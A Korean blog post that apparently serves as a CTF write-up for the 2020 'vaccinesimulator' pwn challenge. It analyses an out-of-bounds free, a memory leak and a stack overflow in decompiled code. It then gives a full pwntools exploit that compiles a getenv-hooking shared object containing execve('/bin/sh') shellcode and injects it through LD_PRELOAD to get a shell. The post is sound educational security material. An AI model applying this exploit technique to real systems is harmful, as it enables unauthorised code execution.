본문 바로가기

PWN

사이버작전경연대회 2020 / vaccinesimulator

대회가 종료되기 40분전에 풀이를 떠올리고 대회가 끝난 20분 뒤에 쉘을 딴 문제입니다. Heap에서 삽질을 조금만 덜 했으면 시간내에 풀었을 텐데 아쉽습니다. 

 

keyword : LD_PRELOAD

 

manager 파일과 simulator파일이 주워집니다. manager 파일에는 canary가 적용되어 있지 않습니다.

 

➜  vachine checksec manager 
[*] '/home/jjy/lab/whitehat/vachine/manager'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
➜  vachine checksec simulator 
[*] '/home/jjy/lab/whitehat/vachine/simulator'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

 

취약점

 

취약점은 3개가 존재합니다.

  1. OOB Free
  2. Memory leak
  3. Stack Overflow

 

 

  1. OOB Free

vaccine을 생성하고 Free할 때, idx에 대한 검사로직이 없습니다. 따라서 공격자는 Memory Leak 취약점들을 사용해서 Codebase과 Heap 주소를 구한 다음, 임의의 주소를 Free할 수 있습니다. 실제 대회에서 이 취약점 때문에 많은 시간을 소비했습니다. Unexploitable하다고 확신할 수는 없지만, 출제자가 의도한 풀이는 이 취약점을 이용한 것이 아닌 것 같습니다.

 

void delete_vaccine(long param_1)

{
  int idx;
  
  puts("Select vaccine index");
  do {
    printf("> ");
    idx = read_int();
  } while (*(long *)(param_1 + 8 + ((long)idx + 0xc) * 8) == 0);
  free(*(void **)(param_1 + 8 + ((long)idx + 0xc) * 8));
  *(undefined8 *)(param_1 + 8 + ((long)idx + 0xc) * 8) = 0;
  return;
}

 

    2. Memory leak

vaccine을 생성할 때 Read 후 Null 바이트를 추가하지 않아 Memory Leak이 발생합니다. 입력된 데이터 이후 전역변수의 주소가 들어가기 때문에 Code base를 알 수 있습니다.

 

_DWORD *__usercall createVaccine@<rax>(__int64 a1@<rbp>, char *a2@<rsi>)
{
  _DWORD *result; // rax
  __int64 v3; // [rsp-10h] [rbp-10h]
  __int64 v4; // [rsp-8h] [rbp-8h]

  __asm { endbr64 }
  v4 = a1;
  v3 = malloc_0(0x410);
  if ( v3 )
  {
    print("Select Vaccine Type");
    print("  1. INACTIVATED");
    print("  2. ATTENUATED");
    print("  3. TOXOID");
    print("======================");
    printf_0("> ", a2);
    *(_DWORD *)v3 = (unsigned __int64)read_int((__int64)&v4) - 1;
    print("Put Vaccine Description");
    printf_0("> ", a2);
    read_0(0, (char *)(v3 + 8), 0x400);
    result = (_DWORD *)v3;
  }
  else
  {
    print("malloc error");
    result = 0LL;
  }
  return result;
}


void add_vaccine(long param_1)

{
  int iVar1;
  void *vachine;
  
  vachine = (void *)createVaccine();// NULL 바이트를 추가하지 않음
  if (vachine == (void *)0x0) {
    puts("failed to add vaccine.");
  }
  else {
    iVar1 = find_empty_slot(param_1);
    if (iVar1 == -1) {
      puts("Vaccine slot is full");
      free(vachine);
    }
    else {
      *(long *)((long)vachine + 0x408) = param_1; // cock_tail
      *(void **)(param_1 + 8 + ((long)iVar1 + 0xc) * 8) = vachine;
    }
  }
  return;
}

     3. Stack Overflow

 

simulator를 실행하는 과정에서 Stack Overflow 취약점이 발생합니다. cocktail file을 환경변수에 복사하는 과정에서 execve에 전달되는 환경변수의 포인터를 덮을 수 있습니다. 이를 통해 공격자는 임의의 환경변수를 추가한 상태로 sumulator 파일을 실행할 수 있습니다.

 

__int64 __usercall run_simulator@<rax>(__int64 a1@<rbp>, __int64 a2@<rdi>)
{
  int path_len; // eax
  __int64 buffer; // rax
  char data[72]; // [rsp-D8h] [rbp-D8h]
  __int64 overflowed; // [rsp-98h] [rbp-98h]
  __int64 overflowed_1; // [rsp-90h] [rbp-90h]
  __int64 *v8; // [rsp-88h] [rbp-88h]
  __int64 v9; // [rsp-80h] [rbp-80h]
  __int64 v10; // [rsp-78h] [rbp-78h]
  char *v11; // [rsp-20h] [rbp-20h]
  char **char_pointer; // [rsp-18h] [rbp-18h]
  int v13; // [rsp-Ch] [rbp-Ch]
  __int64 v14; // [rsp-8h] [rbp-8h]

  __asm { endbr64 }
  v14 = a1;
  overflowed = 0LL;
  overflowed_1 = 0LL;
  v8 = 0LL;
  v9 = 0LL;
  v13 = 0;
  print("Put Your cocktail file");
  read_0(0, data, 0x48);
  for ( char_pointer = (char **)environ; *char_pointer; ++char_pointer )
  {
    v11 = *char_pointer;
    if ( !(unsigned int)strncmp_0(*char_pointer, "PATH", 4LL) )
    {
      path_len = strlen_0(*char_pointer);
      ++v13;
      buffer = malloc_0(path_len + 1);
      *(&v14 + v13 - 18) = buffer;
      strcpy_0((char *)*(&v14 + v13++ - 18), *char_pointer);
    }
  }
  sprintf_0(&v10, "%s=%s", "COCKTAIL_FILE", data);// 0x58
  v8 = &v10;
  v9 = 0LL;
  return execve_0("/home/vaccine/simulator", (char **)a2, (char **)&overflowed);
}

 

 

exploit

 

 

환경변수를 임의로 설정할 수 있을 때, LD_PRELOAD 환경변수를 이용하면 simulator가 실행될 때 후킹된 상태로 실행시킬 수 있습니다. manager 프로그램에는 save vaccine이라는, 사용자의 입력 데이터를 /tmp 폴더에 저장하는 기능이 있습니다. 따라서 Memory Leak을 통해서 Code base를 구한 후, Stack Overflow 취약점을 이용하여 환경변수의 포인터를 사용자의 입력값이 있는 곳으로 변경하여 라이브러리를 후킹하면 RCE를 성공할 수 있습니다.

 

이런 트릭은 2019 Codegate 예선에서도 출제된 적이 있습니다.

 

from pwn import *
import os
def go(d,t):
    p.recvuntil(d)
    p.sendline(str(t))
def go2(d,t):
    p.recvuntil(d)
    p.send(str(t))

def add(t,data):
    go(">",1)
    go(">",t)
    go(">",data)
def delete(idx):
    go(">","3")
    go(">",idx)


def gen():
    log.info("gen so")
    so ="""; nasm -f elf64 hook.S -o hook.o && ld --shared hook.o -o hook.so
; ubuntu 16.04 GNU ld (GNU Binutils for Ubuntu) 2.26.1
[BITS 64]
	global getenv:function
	section .text
getenv:
    mov rax, 0x68732f6e69622f
    push rax
    mov rdi, rsp
    xor esi, esi
    push 0x3b
    pop rax
    cdq
    syscall
"""
    fd = open("hook.S",'w')
    fd.write(so)
    fd.close()
    os.system("nasm -f elf64 hook.S -o hook.o && ld --shared hook.o -o hook.so;rm hook.S hook.o")

    



def Injection(p):
    log.info("inject so")
    fd = open("hook.so")
    so = fd.read()
    fd.close()
    go(">","JJY")
    for x in range(len(so)/0x3ff+1):
        add(1,so[0x3ff*x:0x3ff*x+0x3ff])
    go(">",'4')
    p.recvuntil("Your cocktail vaccine is saved at ")
    file_name = p.recvuntil('\n').replace('\n','')
    log.info("file_name = "+file_name )
    return file_name
def load(p,file_name):
    log.info('load so')
    go2(">","LD_PRELOAD="+file_name)
    add("1","a"*0x400)
    go(">",'2')
    p.recvuntil("a"*0x400)
    leak = p.recv(6).ljust(8,'\x00')
    leak = u64(leak)
    log.info('cock_tail address = '+hex(leak))
    go(">",'1')
    go(">",'2')
    go(">",'5')
    payload = "a"*0x40 + p64(leak)
    go2("file",payload)
    p.sendline("rm "+file_name)
    
gen()
p= process("manager")
file_name  = Injection(p)
p.close()
p= process("manager")
load(p,file_name)
p.interactive()

 

'PWN' 카테고리의 다른 글

Assaultcube Fuzzing  (0) 2021.02.04
HITCON CTF 2020 / Dual  (0) 2020.11.30
pwnable.kr / crcgen  (0) 2020.07.16
ASIS CTF 2020 / shared_house  (0) 2020.07.08
Structure for Kernel heap exploit  (0) 2020.07.07